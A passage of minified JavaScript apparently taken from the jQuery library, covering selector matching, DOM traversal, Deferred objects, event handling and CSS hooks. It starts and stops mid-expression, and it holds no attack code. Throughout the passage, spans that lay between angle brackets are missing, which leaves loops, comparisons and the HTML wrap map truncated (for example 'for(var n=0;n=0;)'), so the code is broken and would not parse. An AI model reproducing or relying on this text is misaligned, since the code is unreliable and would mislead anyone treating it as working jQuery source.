r||(1&(r=(e.ownerDocument||e)===(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!n.sortDetached&&t.compareDocumentPosition(e)===r?e===d||e.ownerDocument===w&&x(w,e)?-1:t===d||t.ownerDocument===w&&x(w,t)?1:c?O(c,e)-O(c,t):0:4&r?-1:1)}:function(e,t){if(e===t)return f=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,a=[e],s=[t];if(!i||!o)return e===d?-1:t===d?1:i?-1:o?1:c?O(c,e)-O(c,t):0;if(i===o)return ce(e,t);n=e;while(n=n.parentNode)a.unshift(n);n=t;while(n=n.parentNode)s.unshift(n);while(a[r]===s[r])r++;return r?ce(a[r],s[r]):a[r]===w?-1:s[r]===w?1:0},d):d},oe.matches=function(e,t){return oe(e,null,null,t)},oe.matchesSelector=function(e,t){if((e.ownerDocument||e)!==d&&p(e),t=t.replace(z,"='$1']"),n.matchesSelector&&g&&!S[t+" "]&&(!v||!v.test(t))&&(!y||!y.test(t)))try{var r=m.call(e,t);if(r||n.disconnectedMatch||e.document&&11!==e.document.nodeType)return r}catch(e){}return oe(t,d,null,[e]).length>0},oe.contains=function(e,t){return(e.ownerDocument||e)!==d&&p(e),x(e,t)},oe.attr=function(e,t){(e.ownerDocument||e)!==d&&p(e);var i=r.attrHandle[t.toLowerCase()],o=i&&N.call(r.attrHandle,t.toLowerCase())?i(e,t,!g):void 0;return void 0!==o?o:n.attributes||!g?e.getAttribute(t):(o=e.getAttributeNode(t))&&o.specified?o.value:null},oe.escape=function(e){return(e+"").replace(te,ne)},oe.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},oe.uniqueSort=function(e){var t,r=[],i=0,o=0;if(f=!n.detectDuplicates,c=!n.sortStable&&e.slice(0),e.sort(D),f){while(t=e[o++])t===e[o]&&(i=r.push(o));while(i--)e.splice(r[i],1)}return c=null,e},i=oe.getText=function(e){var t,n="",r=0,o=e.nodeType;if(o){if(1===o||9===o||11===o){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=i(e)}else if(3===o||4===o)return e.nodeValue}else while(t=e[r++])n+=i(t);return n},(r=oe.selectors={cacheLength:50,createPseudo:se,match:V,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(Z,ee),e[3]=(e[3]||e[4]||e[5]||"").replace(Z,ee),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||oe.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&oe.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return V.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&X.test(n)&&(t=a(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(Z,ee).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=E[e+" "];return t||(t=new RegExp("(^|"+M+")"+e+"("+M+"|$)"))&&E(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(e,t,n){return function(r){var i=oe.attr(r,e);return null==i?"!="===t:!t||(i+="","="===t?i===n:"!="===t?i!==n:"^="===t?n&&0===i.indexOf(n):"*="===t?n&&i.indexOf(n)>-1:"$="===t?n&&i.slice(-n.length)===n:"~="===t?(" "+i.replace($," ")+" ").indexOf(n)>-1:"|="===t&&(i===n||i.slice(0,n.length+1)===n+"-"))}},CHILD:function(e,t,n,r,i){var o="nth"!==e.slice(0,3),a="last"!==e.slice(-4),s="of-type"===t;return 1===r&&0===i?function(e){return!!e.parentNode}:function(t,n,u){var l,c,f,p,d,h,g=o!==a?"nextSibling":"previousSibling",y=t.parentNode,v=s&&t.nodeName.toLowerCase(),m=!u&&!s,x=!1;if(y){if(o){while(g){p=t;while(p=p[g])if(s?p.nodeName.toLowerCase()===v:1===p.nodeType)return!1;h=g="only"===e&&!h&&"nextSibling"}return!0}if(h=[a?y.firstChild:y.lastChild],a&&m){x=(d=(l=(c=(f=(p=y)[b]||(p[b]={}))[p.uniqueID]||(f[p.uniqueID]={}))[e]||[])[0]===T&&l[1])&&l[2],p=d&&y.childNodes[d];while(p=++d&&p&&p[g]||(x=d=0)||h.pop())if(1===p.nodeType&&++x&&p===t){c[e]=[T,d,x];break}}else if(m&&(x=d=(l=(c=(f=(p=t)[b]||(p[b]={}))[p.uniqueID]||(f[p.uniqueID]={}))[e]||[])[0]===T&&l[1]),!1===x)while(p=++d&&p&&p[g]||(x=d=0)||h.pop())if((s?p.nodeName.toLowerCase()===v:1===p.nodeType)&&++x&&(m&&((c=(f=p[b]||(p[b]={}))[p.uniqueID]||(f[p.uniqueID]={}))[e]=[T,x]),p===t))break;return(x-=i)===r||x%r==0&&x/r>=0}}},PSEUDO:function(e,t){var n,i=r.pseudos[e]||r.setFilters[e.toLowerCase()]||oe.error("unsupported pseudo: "+e);return i[b]?i(t):i.length>1?(n=[e,e,"",t],r.setFilters.hasOwnProperty(e.toLowerCase())?se(function(e,n){var r,o=i(e,t),a=o.length;while(a--)e[r=O(e,o[a])]=!(n[r]=o[a])}):function(e){return i(e,0,n)}):i}},pseudos:{not:se(function(e){var t=[],n=[],r=s(e.replace(B,"$1"));return r[b]?se(function(e,t,n,i){var o,a=r(e,null,i,[]),s=e.length;while(s--)(o=a[s])&&(e[s]=!(t[s]=o))}):function(e,i,o){return t[0]=e,r(t,null,o,n),t[0]=null,!n.pop()}}),has:se(function(e){return function(t){return oe(e,t).length>0}}),contains:se(function(e){return e=e.replace(Z,ee),function(t){return(t.textContent||t.innerText||i(t)).indexOf(e)>-1}}),lang:se(function(e){return U.test(e||"")||oe.error("unsupported lang: "+e),e=e.replace(Z,ee).toLowerCase(),function(t){var n;do{if(n=g?t.lang:t.getAttribute("xml:lang")||t.getAttribute("lang"))return(n=n.toLowerCase())===e||0===n.indexOf(e+"-")}while((t=t.parentNode)&&1===t.nodeType);return!1}}),target:function(t){var n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===h},focus:function(e){return e===d.activeElement&&(!d.hasFocus||d.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:de(!1),disabled:de(!0),checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,!0===e.selected},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!r.pseudos.empty(e)},header:function(e){return Y.test(e.nodeName)},input:function(e){return G.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||"text"===t.toLowerCase())},first:he(function(){return[0]}),last:he(function(e,t){return[t-1]}),eq:he(function(e,t,n){return[n<0?n+t:n]}),even:he(function(e,t){for(var n=0;n=0;)e.push(r);return e}),gt:he(function(e,t,n){for(var r=n<0?n+t:n;++r1?function(t,n,r){var i=e.length;while(i--)if(!e[i](t,n,r))return!1;return!0}:e[0]}function be(e,t,n){for(var r=0,i=t.length;r-1&&(o[l]=!(a[l]=f))}}else v=we(v===a?v.splice(h,v.length):v),i?i(null,a,v,u):L.apply(a,v)})}function Ce(e){for(var t,n,i,o=e.length,a=r.relative[e[0].type],s=a||r.relative[" "],u=a?1:0,c=me(function(e){return e===t},s,!0),f=me(function(e){return O(t,e)>-1},s,!0),p=[function(e,n,r){var i=!a&&(r||n!==l)||((t=n).nodeType?c(e,n,r):f(e,n,r));return t=null,i}];u1&&xe(p),u>1&&ve(e.slice(0,u-1).concat({value:" "===e[u-2].type?"*":""})).replace(B,"$1"),n,u0,i=e.length>0,o=function(o,a,s,u,c){var f,h,y,v=0,m="0",x=o&&[],b=[],w=l,C=o||i&&r.find.TAG("*",c),E=T+=null==w?1:Math.random()||.1,k=C.length;for(c&&(l=a===d||a||c);m!==k&&null!=(f=C[m]);m++){if(i&&f){h=0,a||f.ownerDocument===d||(p(f),s=!g);while(y=e[h++])if(y(f,a||d,s)){u.push(f);break}c&&(T=E)}n&&((f=!y&&f)&&v--,o&&x.push(f))}if(v+=m,n&&m!==v){h=0;while(y=t[h++])y(x,b,a,s);if(o){if(v>0)while(m--)x[m]||b[m]||(b[m]=j.call(u));b=we(b)}L.apply(u,b),c&&!o&&b.length>0&&v+t.length>1&&oe.uniqueSort(u)}return c&&(T=E,l=w),x};return n?se(o):o}return s=oe.compile=function(e,t){var n,r=[],i=[],o=S[e+" "];if(!o){t||(t=a(e)),n=t.length;while(n--)(o=Ce(t[n]))[b]?r.push(o):i.push(o);(o=S(e,Ee(i,r))).selector=e}return o},u=oe.select=function(e,t,n,i){var o,u,l,c,f,p="function"==typeof e&&e,d=!i&&a(e=p.selector||e);if(n=n||[],1===d.length){if((u=d[0]=d[0].slice(0)).length>2&&"ID"===(l=u[0]).type&&9===t.nodeType&&g&&r.relative[u[1].type]){if(!(t=(r.find.ID(l.matches[0].replace(Z,ee),t)||[])[0]))return n;p&&(t=t.parentNode),e=e.slice(u.shift().value.length)}o=V.needsContext.test(e)?0:u.length;while(o--){if(l=u[o],r.relative[c=l.type])break;if((f=r.find[c])&&(i=f(l.matches[0].replace(Z,ee),K.test(u[0].type)&&ge(t.parentNode)||t))){if(u.splice(o,1),!(e=i.length&&ve(u)))return L.apply(n,i),n;break}}}return(p||s(e,d))(i,t,!g,n,!t||K.test(e)&&ge(t.parentNode)||t),n},n.sortStable=b.split("").sort(D).join("")===b,n.detectDuplicates=!!f,p(),n.sortDetached=ue(function(e){return 1&e.compareDocumentPosition(d.createElement("fieldset"))}),ue(function(e){return e.innerHTML="","#"===e.firstChild.getAttribute("href")})||le("type|href|height|width",function(e,t,n){if(!n)return e.getAttribute(t,"type"===t.toLowerCase()?1:2)}),n.attributes&&ue(function(e){return e.innerHTML="",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||le("value",function(e,t,n){if(!n&&"input"===e.nodeName.toLowerCase())return e.defaultValue}),ue(function(e){return null==e.getAttribute("disabled")})||le(P,function(e,t,n){var r;if(!n)return!0===e[t]?t.toLowerCase():(r=e.getAttributeNode(t))&&r.specified?r.value:null}),oe}(e);w.find=E,w.expr=E.selectors,w.expr[":"]=w.expr.pseudos,w.uniqueSort=w.unique=E.uniqueSort,w.text=E.getText,w.isXMLDoc=E.isXML,w.contains=E.contains,w.escapeSelector=E.escape;var k=function(e,t,n){var r=[],i=void 0!==n;while((e=e[t])&&9!==e.nodeType)if(1===e.nodeType){if(i&&w(e).is(n))break;r.push(e)}return r},S=function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n},D=w.expr.match.needsContext;function N(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()}var A=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function j(e,t,n){return g(t)?w.grep(e,function(e,r){return!!t.call(e,r,e)!==n}):t.nodeType?w.grep(e,function(e){return e===t!==n}):"string"!=typeof t?w.grep(e,function(e){return u.call(t,e)>-1!==n}):w.filter(t,e,n)}w.filter=function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?w.find.matchesSelector(r,e)?[r]:[]:w.find.matches(e,w.grep(t,function(e){return 1===e.nodeType}))},w.fn.extend({find:function(e){var t,n,r=this.length,i=this;if("string"!=typeof e)return this.pushStack(w(e).filter(function(){for(t=0;t1?w.uniqueSort(n):n},filter:function(e){return this.pushStack(j(this,e||[],!1))},not:function(e){return this.pushStack(j(this,e||[],!0))},is:function(e){return!!j(this,"string"==typeof e&&D.test(e)?w(e):e||[],!1).length}});var q,L=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/;(w.fn.init=function(e,t,n){var i,o;if(!e)return this;if(n=n||q,"string"==typeof e){if(!(i="<"===e[0]&&">"===e[e.length-1]&&e.length>=3?[null,e,null]:L.exec(e))||!i[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(i[1]){if(t=t instanceof w?t[0]:t,w.merge(this,w.parseHTML(i[1],t&&t.nodeType?t.ownerDocument||t:r,!0)),A.test(i[1])&&w.isPlainObject(t))for(i in t)g(this[i])?this[i](t[i]):this.attr(i,t[i]);return this}return(o=r.getElementById(i[2]))&&(this[0]=o,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):g(e)?void 0!==n.ready?n.ready(e):e(w):w.makeArray(e,this)}).prototype=w.fn,q=w(r);var H=/^(?:parents|prev(?:Until|All))/,O={children:!0,contents:!0,next:!0,prev:!0};w.fn.extend({has:function(e){var t=w(e,this),n=t.length;return this.filter(function(){for(var e=0;e-1:1===n.nodeType&&w.find.matchesSelector(n,e))){o.push(n);break}return this.pushStack(o.length>1?w.uniqueSort(o):o)},index:function(e){return e?"string"==typeof e?u.call(w(e),this[0]):u.call(this,e.jquery?e[0]:e):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(w.uniqueSort(w.merge(this.get(),w(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}});function P(e,t){while((e=e[t])&&1!==e.nodeType);return e}w.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return k(e,"parentNode")},parentsUntil:function(e,t,n){return k(e,"parentNode",n)},next:function(e){return P(e,"nextSibling")},prev:function(e){return P(e,"previousSibling")},nextAll:function(e){return k(e,"nextSibling")},prevAll:function(e){return k(e,"previousSibling")},nextUntil:function(e,t,n){return k(e,"nextSibling",n)},prevUntil:function(e,t,n){return k(e,"previousSibling",n)},siblings:function(e){return S((e.parentNode||{}).firstChild,e)},children:function(e){return S(e.firstChild)},contents:function(e){return N(e,"iframe")?e.contentDocument:(N(e,"template")&&(e=e.content||e),w.merge([],e.childNodes))}},function(e,t){w.fn[e]=function(n,r){var i=w.map(this,t,n);return"Until"!==e.slice(-5)&&(r=n),r&&"string"==typeof r&&(i=w.filter(r,i)),this.length>1&&(O[e]||w.uniqueSort(i),H.test(e)&&i.reverse()),this.pushStack(i)}});var M=/[^\x20\t\r\n\f]+/g;function R(e){var t={};return w.each(e.match(M)||[],function(e,n){t[n]=!0}),t}w.Callbacks=function(e){e="string"==typeof e?R(e):w.extend({},e);var t,n,r,i,o=[],a=[],s=-1,u=function(){for(i=i||e.once,r=t=!0;a.length;s=-1){n=a.shift();while(++s-1)o.splice(n,1),n<=s&&s--}),this},has:function(e){return e?w.inArray(e,o)>-1:o.length>0},empty:function(){return o&&(o=[]),this},disable:function(){return i=a=[],o=n="",this},disabled:function(){return!o},lock:function(){return i=a=[],n||t||(o=n=""),this},locked:function(){return!!i},fireWith:function(e,n){return i||(n=[e,(n=n||[]).slice?n.slice():n],a.push(n),t||u()),this},fire:function(){return l.fireWith(this,arguments),this},fired:function(){return!!r}};return l};function I(e){return e}function W(e){throw e}function $(e,t,n,r){var i;try{e&&g(i=e.promise)?i.call(e).done(t).fail(n):e&&g(i=e.then)?i.call(e,t,n):t.apply(void 0,[e].slice(r))}catch(e){n.apply(void 0,[e])}}w.extend({Deferred:function(t){var n=[["notify","progress",w.Callbacks("memory"),w.Callbacks("memory"),2],["resolve","done",w.Callbacks("once memory"),w.Callbacks("once memory"),0,"resolved"],["reject","fail",w.Callbacks("once memory"),w.Callbacks("once memory"),1,"rejected"]],r="pending",i={state:function(){return r},always:function(){return o.done(arguments).fail(arguments),this},"catch":function(e){return i.then(null,e)},pipe:function(){var e=arguments;return w.Deferred(function(t){w.each(n,function(n,r){var i=g(e[r[4]])&&e[r[4]];o[r[1]](function(){var e=i&&i.apply(this,arguments);e&&g(e.promise)?e.promise().progress(t.notify).done(t.resolve).fail(t.reject):t[r[0]+"With"](this,i?[e]:arguments)})}),e=null}).promise()},then:function(t,r,i){var o=0;function a(t,n,r,i){return function(){var s=this,u=arguments,l=function(){var e,l;if(!(t=o&&(r!==W&&(s=void 0,u=[e]),n.rejectWith(s,u))}};t?c():(w.Deferred.getStackHook&&(c.stackTrace=w.Deferred.getStackHook()),e.setTimeout(c))}}return w.Deferred(function(e){n[0][3].add(a(0,e,g(i)?i:I,e.notifyWith)),n[1][3].add(a(0,e,g(t)?t:I)),n[2][3].add(a(0,e,g(r)?r:W))}).promise()},promise:function(e){return null!=e?w.extend(e,i):i}},o={};return w.each(n,function(e,t){var a=t[2],s=t[5];i[t[1]]=a.add,s&&a.add(function(){r=s},n[3-e][2].disable,n[3-e][3].disable,n[0][2].lock,n[0][3].lock),a.add(t[3].fire),o[t[0]]=function(){return o[t[0]+"With"](this===o?void 0:this,arguments),this},o[t[0]+"With"]=a.fireWith}),i.promise(o),t&&t.call(o,o),o},when:function(e){var t=arguments.length,n=t,r=Array(n),i=o.call(arguments),a=w.Deferred(),s=function(e){return function(n){r[e]=this,i[e]=arguments.length>1?o.call(arguments):n,--t||a.resolveWith(r,i)}};if(t<=1&&($(e,a.done(s(n)).resolve,a.reject,!t),"pending"===a.state()||g(i[n]&&i[n].then)))return a.then();while(n--)$(i[n],s(n),a.reject);return a.promise()}});var B=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;w.Deferred.exceptionHook=function(t,n){e.console&&e.console.warn&&t&&B.test(t.name)&&e.console.warn("jQuery.Deferred exception: "+t.message,t.stack,n)},w.readyException=function(t){e.setTimeout(function(){throw t})};var F=w.Deferred();w.fn.ready=function(e){return F.then(e)["catch"](function(e){w.readyException(e)}),this},w.extend({isReady:!1,readyWait:1,ready:function(e){(!0===e?--w.readyWait:w.isReady)||(w.isReady=!0,!0!==e&&--w.readyWait>0||F.resolveWith(r,[w]))}}),w.ready.then=F.then;function _(){r.removeEventListener("DOMContentLoaded",_),e.removeEventListener("load",_),w.ready()}"complete"===r.readyState||"loading"!==r.readyState&&!r.documentElement.doScroll?e.setTimeout(w.ready):(r.addEventListener("DOMContentLoaded",_),e.addEventListener("load",_));var z=function(e,t,n,r,i,o,a){var s=0,u=e.length,l=null==n;if("object"===x(n)){i=!0;for(s in n)z(e,t,s,n[s],!0,o,a)}else if(void 0!==r&&(i=!0,g(r)||(a=!0),l&&(a?(t.call(e,r),t=null):(l=t,t=function(e,t,n){return l.call(w(e),n)})),t))for(;s1,null,!0)},removeData:function(e){return this.each(function(){K.remove(this,e)})}}),w.extend({queue:function(e,t,n){var r;if(e)return t=(t||"fx")+"queue",r=J.get(e,t),n&&(!r||Array.isArray(n)?r=J.access(e,t,w.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||"fx";var n=w.queue(e,t),r=n.length,i=n.shift(),o=w._queueHooks(e,t),a=function(){w.dequeue(e,t)};"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,a,o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return J.get(e,n)||J.access(e,n,{empty:w.Callbacks("once memory").add(function(){J.remove(e,[t+"queue",n])})})}}),w.fn.extend({queue:function(e,t){var n=2;return"string"!=typeof e&&(t=e,e="fx",n--),arguments.length\x20\t\r\n\f]+)/i,he=/^$|^module$|\/(?:java|ecma)script/i,ge={option:[1,""],thead:[1,"","
"],col:[2,"","
"],tr:[2,"","
"],td:[3,"","
"],_default:[0,"",""]};ge.optgroup=ge.option,ge.tbody=ge.tfoot=ge.colgroup=ge.caption=ge.thead,ge.th=ge.td;function ye(e,t){var n;return n="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&N(e,t)?w.merge([e],n):n}function ve(e,t){for(var n=0,r=e.length;n-1)i&&i.push(o);else if(l=w.contains(o.ownerDocument,o),a=ye(f.appendChild(o),"script"),l&&ve(a),n){c=0;while(o=a[c++])he.test(o.type||"")&&n.push(o)}return f}!function(){var e=r.createDocumentFragment().appendChild(r.createElement("div")),t=r.createElement("input");t.setAttribute("type","radio"),t.setAttribute("checked","checked"),t.setAttribute("name","t"),e.appendChild(t),h.checkClone=e.cloneNode(!0).cloneNode(!0).lastChild.checked,e.innerHTML="",h.noCloneChecked=!!e.cloneNode(!0).lastChild.defaultValue}();var be=r.documentElement,we=/^key/,Te=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,Ce=/^([^.]*)(?:\.(.+)|)/;function Ee(){return!0}function ke(){return!1}function Se(){try{return r.activeElement}catch(e){}}function De(e,t,n,r,i,o){var a,s;if("object"==typeof t){"string"!=typeof n&&(r=r||n,n=void 0);for(s in t)De(e,s,n,r,t[s],o);return e}if(null==r&&null==i?(i=n,r=n=void 0):null==i&&("string"==typeof n?(i=r,r=void 0):(i=r,r=n,n=void 0)),!1===i)i=ke;else if(!i)return e;return 1===o&&(a=i,(i=function(e){return w().off(e),a.apply(this,arguments)}).guid=a.guid||(a.guid=w.guid++)),e.each(function(){w.event.add(this,t,i,r,n)})}w.event={global:{},add:function(e,t,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,y=J.get(e);if(y){n.handler&&(n=(o=n).handler,i=o.selector),i&&w.find.matchesSelector(be,i),n.guid||(n.guid=w.guid++),(u=y.events)||(u=y.events={}),(a=y.handle)||(a=y.handle=function(t){return"undefined"!=typeof w&&w.event.triggered!==t.type?w.event.dispatch.apply(e,arguments):void 0}),l=(t=(t||"").match(M)||[""]).length;while(l--)d=g=(s=Ce.exec(t[l])||[])[1],h=(s[2]||"").split(".").sort(),d&&(f=w.event.special[d]||{},d=(i?f.delegateType:f.bindType)||d,f=w.event.special[d]||{},c=w.extend({type:d,origType:g,data:r,handler:n,guid:n.guid,selector:i,needsContext:i&&w.expr.match.needsContext.test(i),namespace:h.join(".")},o),(p=u[d])||((p=u[d]=[]).delegateCount=0,f.setup&&!1!==f.setup.call(e,r,h,a)||e.addEventListener&&e.addEventListener(d,a)),f.add&&(f.add.call(e,c),c.handler.guid||(c.handler.guid=n.guid)),i?p.splice(p.delegateCount++,0,c):p.push(c),w.event.global[d]=!0)}},remove:function(e,t,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,y=J.hasData(e)&&J.get(e);if(y&&(u=y.events)){l=(t=(t||"").match(M)||[""]).length;while(l--)if(s=Ce.exec(t[l])||[],d=g=s[1],h=(s[2]||"").split(".").sort(),d){f=w.event.special[d]||{},p=u[d=(r?f.delegateType:f.bindType)||d]||[],s=s[2]&&new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),a=o=p.length;while(o--)c=p[o],!i&&g!==c.origType||n&&n.guid!==c.guid||s&&!s.test(c.namespace)||r&&r!==c.selector&&("**"!==r||!c.selector)||(p.splice(o,1),c.selector&&p.delegateCount--,f.remove&&f.remove.call(e,c));a&&!p.length&&(f.teardown&&!1!==f.teardown.call(e,h,y.handle)||w.removeEvent(e,d,y.handle),delete u[d])}else for(d in u)w.event.remove(e,d+t[l],n,r,!0);w.isEmptyObject(u)&&J.remove(e,"handle events")}},dispatch:function(e){var t=w.event.fix(e),n,r,i,o,a,s,u=new Array(arguments.length),l=(J.get(this,"events")||{})[t.type]||[],c=w.event.special[t.type]||{};for(u[0]=t,n=1;n=1))for(;l!==this;l=l.parentNode||this)if(1===l.nodeType&&("click"!==e.type||!0!==l.disabled)){for(o=[],a={},n=0;n-1:w.find(i,this,null,[l]).length),a[i]&&o.push(r);o.length&&s.push({elem:l,handlers:o})}return l=this,u\x20\t\r\n\f]*)[^>]*)\/>/gi,Ae=/\s*$/g;function Le(e,t){return N(e,"table")&&N(11!==t.nodeType?t:t.firstChild,"tr")?w(e).children("tbody")[0]||e:e}function He(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function Oe(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function Pe(e,t){var n,r,i,o,a,s,u,l;if(1===t.nodeType){if(J.hasData(e)&&(o=J.access(e),a=J.set(t,o),l=o.events)){delete a.handle,a.events={};for(i in l)for(n=0,r=l[i].length;n1&&"string"==typeof y&&!h.checkClone&&je.test(y))return e.each(function(i){var o=e.eq(i);v&&(t[0]=y.call(this,i,o.html())),Re(o,t,n,r)});if(p&&(i=xe(t,e[0].ownerDocument,!1,e,r),o=i.firstChild,1===i.childNodes.length&&(i=o),o||r)){for(u=(s=w.map(ye(i,"script"),He)).length;f")},clone:function(e,t,n){var r,i,o,a,s=e.cloneNode(!0),u=w.contains(e.ownerDocument,e);if(!(h.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||w.isXMLDoc(e)))for(a=ye(s),r=0,i=(o=ye(e)).length;r0&&ve(a,!u&&ye(e,"script")),s},cleanData:function(e){for(var t,n,r,i=w.event.special,o=0;void 0!==(n=e[o]);o++)if(Y(n)){if(t=n[J.expando]){if(t.events)for(r in t.events)i[r]?w.event.remove(n,r):w.removeEvent(n,r,t.handle);n[J.expando]=void 0}n[K.expando]&&(n[K.expando]=void 0)}}}),w.fn.extend({detach:function(e){return Ie(this,e,!0)},remove:function(e){return Ie(this,e)},text:function(e){return z(this,function(e){return void 0===e?w.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=e)})},null,e,arguments.length)},append:function(){return Re(this,arguments,function(e){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||Le(this,e).appendChild(e)})},prepend:function(){return Re(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=Le(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return Re(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return Re(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},empty:function(){for(var e,t=0;null!=(e=this[t]);t++)1===e.nodeType&&(w.cleanData(ye(e,!1)),e.textContent="");return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map(function(){return w.clone(this,e,t)})},html:function(e){return z(this,function(e){var t=this[0]||{},n=0,r=this.length;if(void 0===e&&1===t.nodeType)return t.innerHTML;if("string"==typeof e&&!Ae.test(e)&&!ge[(de.exec(e)||["",""])[1].toLowerCase()]){e=w.htmlPrefilter(e);try{for(;n=0&&(u+=Math.max(0,Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-o-u-s-.5))),u}function et(e,t,n){var r=$e(e),i=Fe(e,t,r),o="border-box"===w.css(e,"boxSizing",!1,r),a=o;if(We.test(i)){if(!n)return i;i="auto"}return a=a&&(h.boxSizingReliable()||i===e.style[t]),("auto"===i||!parseFloat(i)&&"inline"===w.css(e,"display",!1,r))&&(i=e["offset"+t[0].toUpperCase()+t.slice(1)],a=!0),(i=parseFloat(i)||0)+Ze(e,t,n||(o?"border":"content"),a,r,i)+"px"}w.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Fe(e,"opacity");return""===n?"1":n}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,a,s=G(t),u=Xe.test(t),l=e.style;if(u||(t=Je(s)),a=w.cssHooks[t]||w.cssHooks[s],void 0===n)return a&&"get"in a&&void 0!==(i=a.get(e,!1,r))?i:l[t];"string"==(o=typeof n)&&(i=ie.exec(n))&&i[1]&&(n=ue(e,t,i),o="number"),null!=n&&n===n&&("number"===o&&(n+=i&&i[3]||(w.cssNumber[s]?"":"px")),h.clearCloneStyle||""!==n||0!==t.indexOf("background")||(l[t]="inherit"),a&&"set"in a&&void 0===(n=a.set(e,n,r))||(u?l.setProperty(t,n):l[t]=n))}},css:function(e,t,n,r){var i,o,a,s=G(t);return Xe.test(t)||(t=Je(s)),(a=w.cssHooks[t]||w.cssHooks[s])&&"get"in a&&(i=a.get(e,!0,n)),void 0===i&&(i=Fe(e,t,r)),"normal"===i&&t in Ve&&(i=Ve[t]),""===n||n?(o=parseFloat(i),!0===n||isFinite(o)?o||0:i):i}}),w.each(["height","width"],function(e,t){w.cssHooks[t]={get:function(e,n,r){if(n)return!ze.test(w.css(e,"display"))||e.getClientRects().length&&e.getBoundingClientRect().width?et(e,t,r):se(e,Ue,function(){return et(e,t,r)})},set:function(e,n,r){var i,o=$e(e),a="border-box"===w.css(e,"boxSizing",!1,o),s=r&&Ze(e,t,r,a,o);return a&&h.scrollboxSize()===o.position&&(s-=Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-parseFloat(o[t])-Ze(e,t,"border",!1,o)-.5)),s&&(i=ie.exec(n))&&"px"!==(i[3]||"px")&&(e.style[t]=n,n=w.css(e,t)),Ke(e,n,s)}}}),w.cssHooks.marginLeft=_e(h.reliableMarginLeft,function(e,t){if(t)return(parseFloat(Fe(e,"marginLeft"))||e.getBoundingClientRect().left-se(e,{marginLeft:0},function(){return 